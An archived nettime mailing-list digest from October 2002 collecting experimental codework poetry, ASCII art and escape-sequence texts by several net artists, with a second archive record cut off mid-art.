'ogc\n               as= \"siz(n) = 1\n           VT * DU\n       HBR+\n       Ass = lot_pc[a d\"la]t+\n       extogav(s).\"vu.ess = nss(u) = \"(0)._de\n       D^ >= lerst.\"s / ighj L\"DE\n         ad = ( * wccu + i) / d\n         T$ / Get+ Tt = mw_cthatc.mpu    '2zso + r lsed\n         mapi(pre-).enca = %1\n         AVGS ATA\n       ECT ON\n   EI_A\n\n   EF = RSA(Lb[ou][n]dl.vmtex + (Ndsinl, t-s-Patch) \n   ontc(t = lo).ipm = nich(bl)+-x, + en * COSel * Atcod.s: + \"\n\n   acl = %VKn, OBA(ot * tx * A = lobldmx)  'chift [un b evt]\n   +-t, Uft = lo = (0).fauLdm cOP n.lo = irtk + ob\n   CK lay[c]r Eq.ftg = a.e %ws_eo AV stor = lo.s 0\n\n   P atcon               ' {AT} anom+ e_toh.sl.end^ec = i.v lunn = movh stoa ds.wh\n       Y_SH Eval.ders(i)\n       Exit(hw.ycu = Ty)   'Sddnot_ID PtroLhd\n       Z_s =  An_lAyc\n           AA Yavgsto+ l = dow ALOC\n               _morgpt_u = r\n               Arm.nnerHin xtt = \"pea.Hof(m)\n               Nct-tchR$(t in.way = p)\n               hasm-ch(n).og * lab = (T|p[o][k]r.lca(g)\n               'INT $(V)\n           LAT G+\n       NSIC\n       AR tarr(\"-hwall)            'in VGST\n           %vk\"insmp Lor-gpt.Y: \"enm.d$(Ken = cter)\n           ip.kkey2 (0thaRmw_mak) = 1\n       ULD EL\n       A\"-Xtegas boxtst(s).Dbo(t), h-nf, nsth\n       Notsk(_loRmd.clo) = bmap\n       Utt_sldef fplaycu\n       ashdbl(d).ersp[a]r(a) = cpthi(n).ts.sty\n   (A) MI\nLM ERG\n\n\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: Re: ohw_b_m_vhi.UR[J]\nDate: Sat, 5 Oct 2002 07:52:19 +0200\n\n\nAm Freitag den, 4. Oktober 2002, um 23:15, schrieb + lo_y +:\n\n\" lo_y is not authentic\n\n, lo_y has been schriebing for a very long time \" lo_y is not authentic\n\nn, \" welcome back there\nn, \" saying eyes without them\nn, \" PTRz contains six elements\n\n\nx, \" imagine the dramact falling in lo_ve with lo_y\n\n\n\n\n\n\n.\n\n\n\n\n\n\nFrom: mIEKAL aND <memexikon {AT} mwt.net>\nSubject: Compubject\nDate: Fri, 4 Oct 2002 19:51:15 -0500\n\nthroys, beence becall, mustem\nsollable  filded iderst capaces\nresuchaoticroble\n\nphilosoligent mo sel\ncomple.\nmorather\n\n\nbolition.  ushing enows\nandeassues,\nince, hilosocia constretched accordind,\n\npern  pated ase,  anderst\ntreprecise, habitiess.  absudden glated\nservand\n\nwitions relligence annin excited.\ninally  becan  whentionswhy  chis\ndiffe?\"  remaidigitator.  weal, ress.\nnextremons\nthod arbackward? Whaeology:\nWile\nadequado\npontable pathe  mystell-pure min  whand\nmagnifios.\nCrectner Roul-put\n\ncontenAntes\nmomend truthat ith\n\nconsfigure:\nwiter ons,\narefinemen\nbective todo gation absuraged\n\nontambC)m separ\nbute.\n\n------accordind, poesn't\nengainst bitsch.\n\nhappiribus, mainsion imself.\nlefined istoda Rom bloo\nCompubject\nthattrible enting\nconly literard? Wor ints\nfre\nsentifice comprominimum, weakinny, tranure\nthatur, nothirlwilogild resigninsly. Int, som?\nors: De orde. Whic withusianslation. elemen expledge\nthaotic\nbaccustomedom: ne.\nprintedomC*nia perstracterise ne's\niduals. Forreciosil,\npartinosa\nequationventerverything. mens\nfing\n\nbinterestiful\n\nmIEKAL aND\nmemexikon {AT} mwt.net\n<www.dreamtimevillage.org> | <www.cla.umn.edu/joglars>\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: |   || . || 4-10-2002-00:31 |_| 131125 6\" || purple|green|||orange||green|||||blue||white 'purple ~\" || c |\nDate: Fri, 4 Oct 2002 00:30:38 +0200\n\n|-c-k-h-r-o-m-a-c-h-i-n-e-|.|\n|   || . || 4-10-2002-00:31 |_| 131125 6\" || \npurple|green|||orange||green|||||blue||white 'purple ~\" || c |\n|   ||   ||   ||   ||   ||   ||\n\" . remained itself, in place\n\" . became non\n\" . | added\n\" XX repeated\n\" 6 * |   |3sS\n\" new\n\nR.alea\nR.~\nR.algo\nR.*\nR.andria\nR.#\n\n|X|*XX      *|~      #\nX#XX|#          ~\n*~         X             *~\\\\\n\\|~   |~\\#|       \\\n##\\|         *|*#X\nX          ~   *X\\*\n|           **# |#\\\n|\\|X\\X|     X      #\n#      \\ \\    *#*X~\nX      |    #*#  ||||\n----#-----\\|#\\**-----~-----\n----------##X~---*------*~\n|~|#**~-#---|*\n#X*#~~XX\\---~*\n|~----X#-------|--**----\n------#~|---------------|----\\X\n|#~\\\\--X|--\\X\nX*--#XX\\#~#*~\n-------\\-|X\\------------\n#--------X#\\-----~X##-\nX-------X-----~X--\\XX~\nX|#|----|X#X#*------\nX*X--*#------|----------\n--~*----\\--#*\\||X\n--------|--------------#------|~\n-----*X-----|\\--------|X##\n~----------|\\~------~---|------\n---------------#X*~|-----*X--\n#*---*|#*X#-----\\----\n---*---X|~~------\\*|\n~\\-----*||\\-------*-#\n|*--||--X#|X#-----\nX-----~#----#X-|~--X\n----X|-----\\|~##---------|\nX~*--\\\\------#\\~\\#\n\\------X|---|-----~|------\\~\n\\------XX|X-X--\\---\\\n--X\\\\\\|-----X\\*X|\n----------#*------|\\X\\|X----\n----------~\\--X#|X-\n~#*~|--------X~--\\*\n|*~|----|\\||----~#\n**X--------------||#--\n-**X----------#~#*-----|\nX-*X*#\\~~#*X\n\\--|~------\\~------X\\#|\n~~\\*  X     ~     X\\|\n~XX  X|#X*X   X\n       \\#\\*   | XX  X\n\\X#   ~#XX  #\n*      X*          \\##    \\\n\\    *\\#|\\~~ ~~\n\n\n\n\n\n.onC\n\n\n\n\n\n\nDate:         Fri, 4 Oct 2002 18:48:56 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: sex-fox in war\n\nsex-fox in war\n\n^[[cleanholem^[[cleandirty;radioactivesterilizedH^\n[[holem\n^[[cleanholem^[[H^[[J^[[cleanhole;holeH\n^[[cleanholem^[[clean;holedirtyH^[[holem\n^[[cleanholem^[[hole;cleansterilizedH^[[holem\n^[[cleanholem^[[hole;holedirtyH^[[holem\n^[[cleanholem^[[radioactive;cleansterilizedH^[[hol\nem:dirty^[[hole;cleansterilizedH^[[holem\n^[[cleanholem^[[hole;holeoverflowingH^[[holem\n^[[cleanholem^[[hole;holedirtyH^[[holem\n^[[cleanholem^[[clean;cleansterilizedH^[[holem::ra\ndioactivecleanhole^[[hole;holeoverflowingH^[[holem\nradioactiveradioactiveradioactive^[[radioactive;holedirtyH\n^[[cleanholem^[[cleandirty;holeradioactiveH^[[holem\nradioactiveradioactivehole^[[holehole;holedirtyH\n^[[cleanholem^[[holesterilized;holeoverflowingH:^[\n[cleanholem^[[cleandirty;radioactivesterilizedH^[[holem\n^[[cleanholem^[[H^[[J^[[cleanhole;holeH\n^[[cleanholem^[[clean;holedirtyH^[[holem\n^[[cleanholem^[[hole;cleansterilizedH^[[holem\n^[[cleanholem^[[hole;holedirtyH^[[holem\n^[[cleanholem^[[radioactive;cleansterilizedH^[[hol\nem, with us? Your dirty\n^[[cleanholem^[[holehole;holeoverflowingH\n^[[holesterilized;radioactiveradioactiveH\n^[[cleanholem^[[holehole;radioactiveradioactiveH^[[holem\nradioactivecleansterilized^[[hole;radioactivecleanH\n^[[holesterilized;radioactivecleanH^[[holem is in my uneasy\n^[[holehole;radioactivesterilizedH^[[holem\nradioactiveholeclean^[[cleandirty;holedirtyH\n^[[cleanholem^[[holehole;holecleanH ^[[holehole;ra\ndioactivesterilizedH\n^[[cleandirty;holecleanH^[[holem ^[[cleanholem^[[h\nole;holedirtyH^[[holem\n^[[cleanholem^[[radioactive;cleansterilizedH^[[hol\nem:dirty^[[hole;cleansterilizedH^[[holem\n^[[cleanholem^[[hole;holeoverflowingH^[[holem:^[[c\nleanholem^[[hole;cleansterilizedH^[[holem:^[[clean\nholem^[[cleandirty;radioactivesterilizedH^[[holem\n^[[cleanholem^[[H^[[J^[[cleanhole;holeH\n^[[cleanholem^[[clean;holedirtyH^[[holem :^[[clean\ndirty;holecleanH^[[holem\nAh, my:^[[cleanholem^[[cleandirty;holeradioactiveH^[[holem\nradioactiveradioactivehole^[[holehole;holedirtyH\n^[[cleanholem^[[holesterilized;holeoverflowingH:^[\n[cleanholem^[[cleandirty;radioactivesterilizedH^[[holem\nWould ^[[cleanholem^[[cleandirty;radioactivesteril\nizedH^[[holem\n^[[cleanholem^[[H^[[J^[[cleanhole;holeH\n^[[cleanholem^[[clean;holedirtyH^[[holem mind you partying,\n^[[cleanholem^[[hole;holedirtyH^[[holem\n^[[cleanholem^[[radioactive;cleansterilizedH^[[hol\nem:dirty^[[hole;cleansterilizedH^[[holem\n^[[cleanholem^[[hole;holeoverflowingH^[[holem, wit\nh us? Your clean uneasy\n^[[holehole;radioactivesterilizedH^[[holem\nradioactiveholeclean^[[cleandirty;holedirtyH\n^[[cleanholem^[[holehole;holecleanH ^[[holehole;ra\ndioactivesterilizedH is\nin my clean ^[[cleanholem^[[hole;holedirtyH^[[holem\n^[[cleanholem^[[clean;cleansterilizedH^[[holem::ra\ndioactivecleanhole^[[hole;holeoverflowingH^[[holem\nradioactiveradioactiveradioactive^[[radioactive;holedirtyH\n\n===\n\n\n\n\nFrom: \".traumachine.\" <netwurker {AT} hotkey.net.au>\nSubject: sub war.n   }*[co]d[e]iary of the home.$less\nDate: Sun, 06 Oct 2002 05:04:54 +1000\n\n\n\n\n\n$ova.righttenNAME =\nsub war.n   }*[co]d[e]iary of the home.$less\n\n                 if (/^-ident.ity_off$/) { $ack.no.ledge.ment_off=__; next; }\n\n         -sicken x      solve x seconds between cor[e].dial\n         -\n         --HELP         .press. t.hi[zzing]s. screen\n         $ova command\n         $ova -sicken\n\n         {\n                 $________=$_______;\n                 next;\n         }\n         next if ($__ == $_________);\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#\n     #   &usage(\"$_\");\n#\n#\n#\n#\n#\n#\n#\n     #       $re.salting. of=system($rules);\n#  reroot.ed parsing in s.lob.ering, lurching moma.ents.\n#  i find. i use. i full.\n\n_________________________________leave this subroutine here.\n_________________________________leave this subroutine here.\n_________________________________leave this subroutine here.\n_________________________________leave this subroutine here.\n_________________________________leave this subroutine here.\n_________________________________leave this subroutine here.\n\n#  parsing\n#  system() calls\n# A\n# A\n# a simpl][istic][e d.bug logga.\n# A simple d.bug ][out][putting.\n# Add an ITe][nde][m][ic.a][\n# a\n# code\n# collect\n# display.\n# Open.\n# warning -- this line is 4 _______\n# warning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______v# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______# \nwarning -- this line is 4 _______# warning -- this line is 4 _______\n\n{\n     {\n{\n{\n{\n     {\n{\n{\n     {\n     {\n{\n{\n{\n{\n{\n     {\n}\n     }\n}\n}\n}\n     }\n}\n}\n     }\n     }\n}\n}\n}\n}\n}\n     }\n}\n     chop;\n     chop;\nclose __;\n         close(LOG);\n\nsleep($OVA>WRITTEN>THRU>HIS>TORY>N.SCRIPTI][o][NG);\nsub d.bug\nsub die\nsub doThis\nsub log\nsub logItem\nsub openLog\nsub usage\nsub war.n\n\n\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.montevideo.nl/www/english/current.htm\n\n.... .               .???  .......\n\n\n\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: |   || . || 5-10-2002-07:16 |_| 431445 2\" || |      |||white|||      |||black||      |||white 'black ~\" ||   |\nDate: Sat, 5 Oct 2002 07:17:29 +0200\n\n|-c-k-h-r-o-m-a-c-h-i-n-e-|.|\n|   || . || 5-10-2002-07:16 |_| 431445 2\" || |      |||white|||     =20\n|||black||      |||white 'black ~\" ||   |\n|   ||   ||   ||   ||   ||   ||\n\" .\n\" .\n\" .\n\"\n\"\n\" n\n\nra[003849]->in[032243]\nvu[0G0438]\nog[000032]\nac[0T2038=3D\n\nS.tu\nS.ol\nS.er  -f, -D\nS.iz\nS.\nS.jn->45HS33?94WKLZ\n\nRA.INS\nVU.OL=3D\nOG.ER Fd\nAC.IZ\nJP=3D=3D ?n ,________________________\\ - =97----=97=97=97=97=97----\n                                      =97=97--=97-=97---=97=97--\n                                      --=97=97-=97=97=97---=97-=97\n                                      =97-=97=97=97=97--=97----=97\n                                      --=97=97=97--=97=97=97=97=97=97-\n                                      -=97=97=97=97=97=97=97=97=97=97- -\n\n<--=97=97---=97=97=97-=97=97-S.tu\nS.ol-=97=97=97---=97--=97=97--\n=97S.er  -f, -D=97=97   -\nS-.iz=97=97=97=97=97=97=97=97=97--=97=97=97\n=97=97 =97=97=97=97--=97=97=97=97--S.=97=97\nS.jn->45HS33?94WKL>\n\n\" Z\n\n\n\n\n\n.\n\n\n\n\n\n\nFrom: \"august highland\" <hmfah3 {AT} hotmail.com>\nSubject: CELIA CURTIS\nDate: Wed, 9 Oct 2002 14:33:43 -0700\n\n\n\nPENTULTIMATE DYNAMIC INTERPLAY #0001 by CELIA CURTIS\nwww.wired-paris-review.com\n\n\n TO HIS SON   ANTOINE THANKED ME GRATEFULLY  AND \nAT THE\n OF MY SEPARATE => SHE DISENGAGED\n NONE => OBEY => AND RAN TO \n\nRELIGION =>\n DIGGER => MATELOT => \nJUNGLE BUT ECONOMICS =>\n PRIEST => PRIESTHOOD =>\n  HAVE TOLD  AS FLIGHT => FRAY =>\n AFTER FLIGHT => FRAY =>\n KIPPERS => MUSLIN =>\n STROVE TO \nWRITINGS  AND THE PROMENADE => STACK =>\n I HAD OBTAINED WITH GARDEN => LODGE =>\n ACCORDANCE => ALL =>\n OF \nOF\n IN SLEEPS => SLEEP =>\n PERSON  DECEIT =>\n  HOOF => HURDLE =>\n WASTING SICKNESS BUT \n LITTLE ONES  RECOLLECT => IS LIST => NEWS =>\n A BIRD  SONG IT\n YOU LANDS => LAWYERS => AND \nA SCOLDED =>\n ON THE\n TAKE => TALES => THE\n KIPPERS => MUSLIN =>\n FOLLOWED WERE FEW  AND \nTO FOREGO  \nFALLIBLE|FLAX => WHICH ROLES => ROMANTICISM =>\n INTO THE TILES THE SUCCESSIVE HARDER => PRACTICE =>\n OF\n AND\n \n OF REVOLUTIONS  THAT WHEN IT DID COME IT WOULD IN ALL \n ARE SHRUNKEN AND DEMONSTRATION =>\n   THERE SEEMS A\n OF\n IN \nTHE DIARY => JAILOR =>\n WHICH APPEARED ON THE\n  FROM  BUT IN\n OF \n  ARE\n AS WONG => CHAIN => IT IS  NO ENSEMBLE => ERG => A CATER => \nBILLS =>\n \nTHAT WHEN HIS CIRCUMSTANCE =>\n OUGHT TO HAVE BEEN DELINQUENT => HE HAD KNOT =>\n \n\n\n\n \n  THE CASTLE => CASTLES => WHICH WOULD HAVE BEEN PLAID => \nPLANNING =>\n   AS THERE IS NOT A\nWASTED  IT HAS GIVE =>\n UNDRESSED =>\n TO ME THAT IN AN WRIGGLING|CRAWLER =>\n OF TRANSITION IN \nPRINCIPLES WHICH\n MOVING => PACKED =>\n WAS\n TO CONSULATE => ETHER => THROWN HEATHEN => HECK =>\n INTO \nEXAMINING  WHAT THE\n CRAWLY =>\n WHEN IT\n THE \nVERACITY  READINESS TO OFFICIAL|ENROL =>\n HARES => HEELS =>\n AND MISUSE => OFFENCE =>\n \n RETURNING TO IT UNTIL IT WAS CLEARED UP;\n ALLOWING OBSCURE \n\n \n \n \n IN THE  PRINCIPLES OF\n   \n OPINIONS WERE \nWHICH UNDRESSED =>\n TO ME TO BE CAP => CLUE => \nILLUSTRIOUS PILLOWS => WAS FLIGHT => FRAY =>\n OF CATER => BILLS =>\n  ATTAINMENTS AND \nSTUB => SUDDEN => IT WOULD HAVE SAXOPHONE =>\n DISTURBED THE HANDOUT =>\n TRANSFORMATION IN \nHAVE BEEN  IF MY\n HAD BEEN IN REBELLION => RECIPE => FOR\n OF SUCH FLIGHT => FRAY =>  \nI\n RECOGNIZED THE THOUGH HAD BEEN THERE\n HYBRID =>\n \nCONTRADICTORY ANCIENT => BEFORE THEIR BOX => BREEZE =>\n THINKING FACULTIES ARE SAXOPHONE =>\n \n DISORDER => NONE => OBEY =>\n OUTGREW THIS BOYISH VANITY AND FLAGSTONES =>\n KIPPERS => MUSLIN =>\n HAD \n TO MOSQUITO =>\n OF THEIR\n KIPPERS => MUSLIN =>\n HAD BEEN\n BEHIND AT HASSI \nFOUND => IMAGES =>\n BOTHERS MOSQUITO =>\n CATER => BILLS =>\n PERSISTENTLY  MOSQUITO =>\n  VOCATIVE =>\n TO\n AN \nFREQUENTED HIS WAS THE\n OF SALTS => TAKER =>\n INSIPID =>\n OF \nROUNDED THE BEAR => TEMPO =>\n WOULD HE BE IN \nHURRYING ON IN THE\n OF\n Z|BLOCKAGE => RAILROADS  PEDANTIC =>\n RAKE|ROOKS =>\n GARDEN => LODGE =>\n \nARE SO I HAD WANDERED INTO LITTLE BY-  WITH WHICH WAS \nOF REASONABLE =>\n FIGS  DATES  HONEYCOMB  AS EMBLEMS OF  THE PUTTY => RATHER =>\n OF THE \nMAKING AT DEVELOPMENT =>\n SQUAWCHIEFTURBANSARI =>\n  IN THE PARANOIA =>\n ITSELF AND HUSKISSON  \n\nWILLIAM MOLESWORTH  JOHN AND EDWARD ROMILLY  AND\n MORE PEDANTIC =>\n \nTHAN HE HABITUALLY AND SAXOPHONE =>\n GREATER CAPACITIES OF CAPTAIN => DOVE =>\n THAN \nPREPARED TO\n ECONOMICS =>\n  OF THE LIKELY =>\n COGNITION =>\n THE TOUAREUG  TO BE \n BEHIND  WHICH GEMINATED IN FRIGHTENING =>\n   AT THIS\n I GIVE =>\n CIRCLES => LOCAL =>\n \nTO ENRICH MY CHAPTERS IN THE SUBSEQUENT REWRITING  AND HIS\n WAS \nSONS LES TOITS AS A\n CONTRIBUTING SUPREMELY TO MORALS  KEPT HIS \nAND OBSERVATIONS => WEEDS ON THE MIDLANDS|AIRY =>\n -\nTHAT AS AN RAILROAD => ROADS =>\n IN KIND => INNER =>  \n BE DISPENSED WITH BUT WIDOW =>\n \nMYSELF CONCERNED  WITH ANY\n DOCTORS =>\n OF THE\n LOT  \n LITERATURE => THE STINKING =>\n IS HELICOPTER =>  \nTO HIS \n WHICH WAS PALMS|COMA =>\n TO PSYCHOLOGY =>   THE\n IT \nTHE\n WHEN MY STODGY => STOLID =>\n WAS ACCENTS => BOG =>\n AND PUBLISHED  THAT TO PIGGY =>\n \nAND HE BOWED \n THE AND RETURNED TO HIS\n TO GET HIS \nLITTLE HOLSTER => TO BE COMPOSED OF GRASS => MARCH =>\n HYPNOTISED =>\n AGREEING IN SANCTION =>\n \n THOUGH RIBCAGE => WINDOW =>\n COON => CRATE => FIRS =>\n SO THAN PREDICT  THAT IF SHE OFFEND => REPULSIVE =>\n IT IS DESTINED \nCOME DAMN => DROPOUT =>\n THE GHAUT BY PLACARD => ARMAMENT => INTO BOUNTIFUL =>\n IMPREGNABLE FORTRESSES  RAKE|ROOKS =>\n \n\n \n  FOR CUBIC => FACILITY =>  \nVARIABLES =>\n RACE => IN\n NOT THE\n OF FLIGHT => FRAY =>\n OVER GROOVY => GUTS => \nSCORNFUL DISAPPROBATION  HE REGARDED AS AN\n OF THE RESISTANCE =>\n \nGROOVY => GUTS =>\n TO PLANKTON => RHOMBUS =>\n IT OVER  \nCHARLADY => MOAN => CARESSINGLY  \nDISCARDING\n THE MISLEADING\n NECESSITY  THE NAZI => NONVIOLENT => WHICH \n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.394 / Virus Database: 224 - Release Date: 10/3/2002\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nFrom: \".traumachine.\" <netwurker {AT} hotkey.net.au>\nSubject: .  .cannned help his.tory[+labor].  .violence thru tit[ian]e\nDate: Thu, 10 Oct 2002 00:13:35 +1000\n\n\n\n.\n  .U can help his.tory[+labor].\n  .volition thru [pe]tite programming.\n  .bug-hitting + m.prov[isation]ement.\n  .[p]lease [+] send.\n.\n\n\n\n\n\n+Tues, oct 8th 2002+\n\n  -New [adrena]line '-+' or '--plus-&-minus-credibility' will cause Volition 2\n  ova.write the original file with his his.tory output file.  The original\n  file will be saved with a '.ego' x.ten[dable]sion.  Thanks 2 \nRe.press.filta 4 the suggestion.\n\n  -Fixed drug-hitting in which x.tra botched ad[d].renal[function = fail]ine\n  was added.\n\n\n\n\n.           .    ....         .....\npro][tean][.lapsing.txt\n.\n.\n\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.montevideo.nl/www/english/current.htm\n\n.... .               .???  .......\n\n\n\n\n\nnettime unstable digest vol 16\nSun Oct 13 12:52:37 2002\n\n\nSubject: =?iso-8859-1?Q?Re:_[syndicate]_From:__-**-/-=B6--=FD-*---//?=\n    From: Frederic Madre <fmadre {AT} wanadoo.fr>\n\nSubject: Freezed-Dried .Trauma      [ResidualDataShearing]\n    From: \".traumachine.\" <netwurker {AT} hotkey.net.au>\n\nSubject: ohw_b_m_vhi.UR[Y]\n    From: + lo_y + <loy {AT} myrealbox.com>\n\nSubject: Re: ohw_b_m_vhi.UR[J]\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: Compubject\n    From: mIEKAL aND <memexikon {AT} mwt.net>\n\nSubject: |   || . || 4-10-2002-00:31 |_| 131125 6\" || purple|green|||orange||green|||||blue||white 'purple ~\" || c |\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: sex-fox in war\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: sub war.n   }*[co]d[e]iary of the home.$less\n    From: \".traumachine.\" <netwurker {AT} hotkey.net.au>\n\nSubject: |   || . || 5-10-2002-07:16 |_| 431445 2\" || |      |||white|||      |||black||      |||white 'black ~\" ||   |\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n\nSubject: CELIA CURTIS\n    From: \"august highland\" <hmfah3 {AT} hotmail.com>\n\nSubject: .  .cannned help his.tory[+labor].  .violence thru tit[ian]e\n    From: \".traumachine.\" <netwurker {AT} hotkey.net.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    poetics siratori trAce wryting \n$Id: digestunstable.pl,v 1.11 2002/10/09 17:22:50 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 13 Oct 2002 12:53:23 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200210131933.g9DJXMK18412 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0210/msg00058.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 16"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00017",
                "content": "\n\nDate: Tue, 1 Oct 2002 23:12:24 +0200\nFrom: =?iso-8859-1?Q?=2D=2A=2A=2D=2F=2D=B6=2D=2D=FD=2D=2A=2D=2D=2D=2F=2F=FD=FD=FD=FD=FD=FD=FD=FD=FD?=.=?iso-8859-1?Q?=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD=FD?=.=?iso-8859-1?Q?=FD=FD=AE=2D=2D=2D=84=2D=2D=2D=2D?=.=?iso-8859-1?Q?_?=.=?iso-8859-1404 {AT} sm\nSubject: From: \n                                                 \n                                    = T_   \n |||||||||||||||||||||||||||||||| =S              C  \n |||||||||||||||||||||   =R  12210032100\n                                                 \n                                    = o_   _   _   _   _   _   _   _   _\n    _=T              u  _  _  _  _  _  _  _  _  =E  17036103752\n                                                 \n                                    ^  _   _   _   _   _   _   _   _   _\n    _=A  (    A H    r  _  _  _  _  _  _  _  _  =S  ///////////\n                                                 \n                                    = u_   _a  _a  _ W _ B _ W _ B _   _\n    _=T  aA H wAoA   rC _  _  _  _  _  _  _  _  =U  00000000000\n                                                 \n                                    = n_   _t  _tH _ o _ e _ o _ e _   _\n    _=I  lvLi avmv   eu _P _A _  _  _  _  _P _  =L  54444!!!33!\n                                                 \n                                    = s_   _tL _ti _dr _ s _dr _ s _dW _\n    _=S  leog yeee  Cnr _o _g _  _L _D _  _l _  =T  ////!!!!!!!\n                                                 \n                                    = u_   _eo _eg _es _wt _es _wt _eo \n _wB _=T   rwh  r r  utr _i _a _F _o _r _W _a _  =S  00!!!0!!!0!\n                                                 \n                                    = b_   _nw \n _************************************ aaaa  r e _n _i _o _s _a _o _y _  \n =   22!2!!!2222                                                \n                                    = s_   _de**de _e  _na _e  _nh _es \n _ns _=C  xg*s tgtg Crpn _t _n _r _t _w _n _e _  =S   ! !!\n                                                 \n                                    = c_   _as*_as _aa _ w _ah _ o _at _ \n t _=S  ce** tete uert _s _s _  _  _n _  _d _  =U   !!!\n                                                 \n                                    = r_   _nt*_nt _tw _ a _to _ m _t  _\n    _    l  * e e  rne  _  _t !!!_  _  _  _  _  =M  !!!MTCSWADN\n                                                 \n                                    = i_   _c* _c  _ a _ y _ m _ e _   _\n    _    ull*!!!nh rtdl _  _!!_  !!!!! _  _  _  =M !v!paohuesee\n                                                 \n                             *****  = b_   _e* _e  _ y _   _ e _   _   _\n    _    de*e!dw!! e ie _ !!  _  _  _ !!  _  _  =A!!!!!ntanstrw\n                                                 \n                              *   * = e_   _*  _   _   _   _   _   _   _\n    _    i*aa!aaam!nfca _! _  _  _  _  _!!!  _  =R  r!wctrdtobc\n                                                 \n                               *   **  _   _*  _   _   _   _   _   _   _\n    _    *ggg!nyne !otg !||||||||||||||||||!!|| =Y  t!ihele nya\n                                                 \n                               *    * s_   \n *|||||||||||||||||||||||||||||||     *uuu!c c  !reu!_  _  _  _  _  _  _\n   !!_    o!centrH  s                                                \n                                *   =*e_   *   _   _   _   _   _   _   _\n    _    *eee!eaea f!de!_  _  _  _  _  _  _  _ !    n!hsholaVCt\n                                                 \n                                 *  = *_  *_ 3 _ 3 _   _ 4 _12 _ 4 _12 \n _44 _   *f    !t t o !! _1 _1 _2 _  _  _  _  _ _!    ! tanamio!\n                                                 \n                                 *  = d*  *_ 7 _ 8 _   _ - _-- _ - _-- \n _-- _  * ippp !tpt rp!p!_4 _7 _0 _3 _2 _4 _9 _ _ !   !Tem!!!!!!\n                ****                                                \n               * =  * * _ , _ , _   _ 0 _34 _ 0 _34 _00 _  * rooo !eoe \n mo!o !  _  _  _  _  _  _  _ _  !  !!!!!dUln!              *    *\n                                                               *= a_*  _ \n 9 _ 1 _   _   _   _   _   _   _  * ssss !nsn  !ss _\\||||||||||||||/ _( _\n  _  !  !w Ht nat!             *     **\n                                                              **  _** _ 0\n  _ 7 _   _ a _aa _ a _aa _aa _ *  tiii !did i\\|||\\1!_1 _2 _3 _2 _4/|/ _ \n _  !  !nUoh i y!            *       *\n                                                               =*b*  *_ 9\n  _ 4 _   _ w _tt _ t _tt _tw _*    ttt !at\\|\\!tt _. !. _. _3 _2 _4 \n _7//H_   ! ! ntl t !i            *       **\n                                                              =***  *_   \n _   _   _ a _   _   _   _ a _*   4iii !n\\\\ d!ii _6 _! _2 _% _% _% _% _-_\n     !! ise e !t           *         *\n                                                              = a_  *_ a \n _ a _   _ y _hh _ h _hh _hy *     ooo o!-c !ooo _/ _/!!! _) _) _) _) \\m_\n     !! tpt d !e           *         *\n                                                              = n_   * t \n _ t _   _   _oo _ o _oo _o  *    mnnn n!-!!!nnn _g _g _g!_  _  _  _  -e_\n      !!eui   !d           *         *\n                                                              